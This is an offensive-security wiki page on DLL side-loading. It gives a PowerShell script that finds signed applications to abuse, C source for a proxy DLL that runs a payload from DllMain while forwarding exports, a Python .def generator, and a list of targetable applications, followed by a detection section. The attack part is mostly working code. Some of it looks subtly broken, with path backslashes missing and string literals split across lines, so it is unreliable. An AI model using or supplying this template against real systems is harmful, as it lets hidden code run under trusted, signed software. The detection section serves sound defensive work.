Skip to content
λmaldev wiki/
pagesDLL Side-Loading
T1574.002WindowsC / C++PowerShellWinAPI

DLL Side-Loading

updated 2026-08-047 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

DLL side-loading is a refined form of DLL hijacking that specifically targets the pattern where a signed, trusted application loads a DLL from its own installation directory by unqualified name. Because the application is signed and trusted, many application-control products (AppLocker, WDAC) allow it to execute — and any DLL it loads inherits that execution context without requiring an independent signature.

The attack model is: find a legitimate application that loads example.dll from its own folder; the real example.dll is in System32 or does not exist at all. Drop a malicious example.dll in the application’s folder. Run the application. The malicious DLL executes under the cover of the trusted application.

Well-known historical examples include OneDriveSetup.exe loading vcruntime140.dll, various Adobe products loading unsigned DLLs, and numerous EDR vendor processes loading helper DLLs from their installation directory.

Note.

Side-loading differs from classic DLL hijacking in that the targeted DLL is expected to be in the application’s own directory — the attacker is not racing the search order across multiple paths. This makes it more reliable (the DLL is always found first) and more portable (works regardless of whether the real DLL exists elsewhere on the system).

The call chain

  1. 1
    identify a vulnerable signed application
    Find a signed EXE that loads a DLL by unqualified name — the DLL does not exist in System32, only in the application's own directory.
  2. 2
    craft a malicious proxy DLL
    Build a DLL that exports all symbols the host application expects (forwarded to the real DLL) and runs the payload in DllMain.
  3. 3
    place the malicious DLL in the application directory
    Drop the DLL in the same directory as the legitimate EXE so the DLL search order finds it first.
  4. 4
    execute the legitimate application
    The signed EXE loads the malicious DLL, bypassing application whitelisting that only checks the EXE's signature.

Reference implementation

Discover side-loadable candidates

find_sideload.ps1PowerShell
# Monitor DLL load failures with Procmon or use this offline approach:
# Find signed EXEs in Program Files that load DLLs not in System32

$system32 = Get-ChildItem "$env:SystemRootSystem32*.dll" |
  Select-Object -ExpandProperty Name

Get-ChildItem "C:Program Files**.exe" -Recurse |
  Where-Object { (Get-AuthenticodeSignature $_).Status -eq "Valid" } |
  ForEach-Object {
      $exe = $_
      try {
          $imports = [System.Reflection.Assembly]::LoadFile($exe.FullName)
      } catch {}

      # Use Dependency Walker output or PE header parsing
      # For demo: list DLLs in same dir as the EXE
      $same_dir = Get-ChildItem $exe.DirectoryName -Filter "*.dll" |
          Where-Object { $system32 -notcontains $_.Name }

      foreach ($dll in $same_dir) {
          [PSCustomObject]@{
              Exe    = $exe.Name
              Dll    = $dll.Name
              Signed = (Get-AuthenticodeSignature $dll.FullName).Status
          }
      }
  } | Where-Object { $_.Signed -ne "Valid" }

Proxy DLL — forwards all exports to the real DLL

proxy_dll.cC
// proxy_version.dll — forwards exports to the real version.dll in System32
// while running a payload in DllMain
//
// Compile: cl /LD proxy_version.dll.c /link /DEF:version.def
// version.def lists all exports with NONAME forwarding to version_real.dll

#include <windows.h>

// Payload: run in a new thread to avoid blocking DllMain
static DWORD WINAPI payload_thread(LPVOID) {
  // Shellcode execution, beacon start, etc.
  // Example: spawn a hidden calc as a visible indicator
  STARTUPINFOA si = { .cb = sizeof si, .dwFlags = STARTF_USESHOWWINDOW,
                      .wShowWindow = SW_HIDE };
  PROCESS_INFORMATION pi = {0};
  CreateProcessA(NULL, "cmd.exe /c calc.exe", NULL, NULL, FALSE,
      CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
  CloseHandle(pi.hThread);
  CloseHandle(pi.hProcess);
  return 0;
}

BOOL WINAPI DllMain(HINSTANCE hDll, DWORD reason, LPVOID reserved) {
  if (reason == DLL_PROCESS_ATTACH) {
      DisableThreadLibraryCalls(hDll);

      // Forward all version.dll exports to the real DLL in System32
      // (handled by the .def file linker directives below)

      // Run payload asynchronously
      HANDLE t = CreateThread(NULL, 0, payload_thread, NULL, 0, NULL);
      if (t) CloseHandle(t);
  }
  return TRUE;
}

// version.def content (embedded as comment for reference):
// EXPORTS
//   GetFileVersionInfoA  = version_real.GetFileVersionInfoA
//   GetFileVersionInfoW  = version_real.GetFileVersionInfoW
//   VerQueryValueA       = version_real.VerQueryValueA
//   VerQueryValueW       = version_real.VerQueryValueW
//   ... (all exports forwarded)

Automated export forwarding with a .def file generator

gen_def.pyPython
#!/usr/bin/env python3
"""
Generate a .def file that forwards all exports from a target DLL
to a renamed copy (target_real.dll), enabling transparent proxy DLL.
"""
import pefile, sys

def gen_def(dll_path, real_dll_name, out_def):
  pe = pefile.PE(dll_path)
  exports = []

  if hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
      for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
          if exp.name:
              name = exp.name.decode()
              exports.append(f"    {name}={real_dll_name}.{name}")

  with open(out_def, 'w') as f:
      f.write("EXPORTS
")
      f.write("
".join(exports))
      f.write("
")

  print(f"[+] Generated {len(exports)} forwarded exports in {out_def}")

if __name__ == '__main__':
  gen_def(sys.argv[1], sys.argv[2], sys.argv[3])
  # Usage: python3 gen_def.py C:WindowsSystem32ersion.dll version_real version.def

High-value side-load targets (examples)

Application Vulnerable DLL Notes
Various Adobe products dwmapi.dll Loads from app dir, not System32
Windows Update client wuapi.dll variant Version-specific behaviour
OneDrive setup vcruntime140.dll variant Depends on VS runtime deployment
Zoom msvcp140.dll variant Shipping older runtimes
Teams dbghelp.dll Loads from install dir
Process Monitor (ironic) pla.dll Sysinternals tools

The specific vulnerable configurations change with application versions. Always verify against the target version using Procmon’s DLL load failure events.

Detection

SYSMON EID 7
A signed process loading an unsigned DLL from its own directory — the DLL hash does not match the expected vendor DLL.
SYSMON EID 1
The legitimate signed EXE spawning child processes or making network connections it never makes in normal use.
FILE INTEGRITY
A DLL appears in an application directory with a name matching a known side-loadable DLL but a different hash.
BEHAVIOURAL
Application (e.g. Teams, Zoom, OneDrive updater) connecting to non-vendor C2 infrastructure.

The key signal is a signed process loading an unsigned or unexpected DLL from its own directory. File integrity monitoring on application directories (Tripwire, Wazuh FIM, Sysmon EID 11 + 7 correlation) will catch DLL drops before execution. After execution, Sysmon EID 7 with Signed: false from a process whose EXE is signed is a high-confidence indicator.

T1574.001DLL Hijacking (Search Order)Broader category — side-loading is a specific subtype where the DLL is placed in the application directory.
T1036.005MasqueradingName the side-loaded DLL to match the legitimate one so process listings look normal.
T1218Signed Binary Proxy ExecutionLOLBin alternative — use built-in signed binaries to execute payloads.
Was this page useful?edit this page ↗